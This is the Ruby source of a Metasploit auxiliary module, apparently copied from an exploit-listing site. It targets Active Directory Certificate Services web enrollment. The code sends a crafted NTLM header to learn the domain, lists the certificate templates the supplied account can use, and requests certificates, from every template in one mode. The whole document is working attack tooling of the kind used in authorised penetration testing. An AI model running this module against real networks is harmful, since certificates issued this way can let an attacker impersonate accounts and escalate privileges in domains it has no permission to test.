Share
## https://sploitus.com/exploit?id=MSF:AUXILIARY-ADMIN-HTTP-WEB_ENROLLMENT_CERT-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::WebEnrollment
  include Msf::Auxiliary::Scanner

  def initialize(_info = {})
    super({
      'Name' => 'AD/CS Authenticated Web Enrollment Services Module',
      'Description' => %q{
        Authenticates to the AD/CS Web enrollment service and allows the user to query templates and create
        certificates based on available templates.
      },
      'Author' => [
        'bwatters-r7',
        'jhicks-r7', # query for available certs
        'Spencer McIntyre'
      ],
      'License' => MSF_LICENSE
    })
    deregister_options('HttpUsername', 'HttpPassword')
    register_options([
      Opt::RPORT(80),
      OptString.new('HttpUsername', [false, 'The HTTP username to specify for authentication', '']),
      OptString.new('HttpPassword', [false, 'The HTTP password to specify for authentication', '']),
      OptEnum.new('MODE', [ true, 'The issue mode.', 'SPECIFIC_TEMPLATE', %w[ALL QUERY_ONLY SPECIFIC_TEMPLATE]]),
      OptString.new('CERT_TEMPLATE', [ false, 'The template to issue if MODE is SPECIFIC_TEMPLATE.' ], conditions: %w[MODE == SPECIFIC_TEMPLATE]),
      OptString.new('TARGETURI', [ true, 'The URI for the cert server.', '/certsrv/' ])
    ])
    register_advanced_options([
      OptEnum.new('DigestAlgorithm', [ true, 'The digest algorithm to use', 'SHA256', %w[SHA1 SHA256] ])
    ])
    @issued_certs = {}
  end

  def validate
    super

    case datastore['MODE']
    when 'SPECIFIC_TEMPLATE'
      if datastore['CERT_TEMPLATE'].blank?
        raise Msf::OptionValidateError.new({ 'CERT_TEMPLATE' => 'CERT_TEMPLATE must be set when MODE is SPECIFIC_TEMPLATE' })
      end
    when 'ALL', 'QUERY_ONLY'
      unless datastore['CERT_TEMPLATE'].nil? || datastore['CERT_TEMPLATE'].blank?
        print_warning('CERT_TEMPLATE is ignored in ALL and QUERY_ONLY modes.')
      end
    end
    setup
  end

  def pull_domain(target_ip, target_uri)
    begin
      vprint_status("Checking #{target_ip} URL #{target_uri}")
      res = send_request_cgi({
        'rhost' => target_ip,
        'encode' => true,
        'username' => nil,
        'password' => nil,
        'uri' => normalize_uri(target_uri),
        'method' => 'GET',
        'headers' => { 'Authorization' => 'NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==' }
      })
    rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError
      vprint_error('Unable to Connect')
      return
    rescue ::Timeout::Error, ::Errno::EPIPE
      vprint_error('Timeout error')
      return
    end

    return nil if res.nil?

    unless res && res.code == 401
      print_bad("Incorrect status code returned checking for domain: #{res.code}")
      return nil
    end
    unless res['WWW-Authenticate']
      print_bad('Target does not appear to support Windows Authentication.')
      return nil
    end
    unless res['WWW-Authenticate'].match(/^NTLM/i)
      print_bad('Target does not appear to support NTLM.')
      return nil
    end

    hash = res['WWW-Authenticate'].split('NTLM ')[1]
    return nil if hash.nil?

    # Parse out the NTLM and get the Target Information Data containing the domain name

    begin
      message = Net::NTLM::Message.parse(Base64.decode64(hash))
      ti = Net::NTLM::TargetInfo.new(message.target_info)
      ti.av_pairs[Net::NTLM::TargetInfo::MSV_AV_NB_DOMAIN_NAME]
    rescue StandardError => e
      vprint_error("Failed to parse NTLM challenge: #{e.class}: #{e}")
      nil
    end
  end

  def run_host(target_ip)
    validate

    queried_domain = pull_domain(target_ip, target_uri)
    if queried_domain.nil?
      fail_with(Failure::UnexpectedReply, 'Failed to automatically populate DOMAIN; please do so manually and retry')
    end

    # The queried_domain value is coming is as a UTF-16LE string encoded in ASCII 8-bit.
    # We need to normalize it so we can do the string compares later
    datastore_domain = datastore['DOMAIN']
    queried_domain.force_encoding('UTF-16LE')
    queried_domain = queried_domain.encode(datastore_domain.encoding)

    # kerberos requires DOMAIN be the FQDN but in other cases check if DOMAIN is set to something other than the NETBIOS
    # domain name that was returned from the NTLM handshake which would imply an operator error
    if datastore['HTTP::Auth'] != 'kerberos' && datastore['DOMAIN'].present? && datastore['DOMAIN'] != 'WORKSTATION' && queried_domain != datastore_domain
      fail_with(Failure::UnexpectedReply, "Server claims to be a member of #{queried_domain} domain and does not match the datastore domain entry #{datastore['DOMAIN']}")
    end
    connection_identity = queried_domain + '\\' + datastore['HttpUsername']

    http_client = connect(
      {
        'rhost' => target_ip,
        'method' => 'GET',
        'uri' => normalize_uri(target_uri),
        'headers' => {
          'Accept-Encoding' => 'identity'
        }
      }
    )
    case datastore['MODE']
    when 'ALL', 'QUERY_ONLY'
      cert_templates = get_cert_templates(http_client)
      unless cert_templates.nil? || cert_templates.empty?
        print_status('***Templates with CT_FLAG_MACHINE_TYPE set like Machine and DomainController will not display as available, even if they are.***')
        print_good("Available Certificates for #{connection_identity} on #{datastore['RHOST']}: #{cert_templates.join(', ')}")
        if datastore['MODE'] == 'ALL'
          retrieve_certs(http_client, connection_identity, cert_templates)
        end
      end
    when 'SPECIFIC_TEMPLATE'
      cert_template = datastore['CERT_TEMPLATE']
      retrieve_cert(http_client, connection_identity, cert_template)
    end
  end

end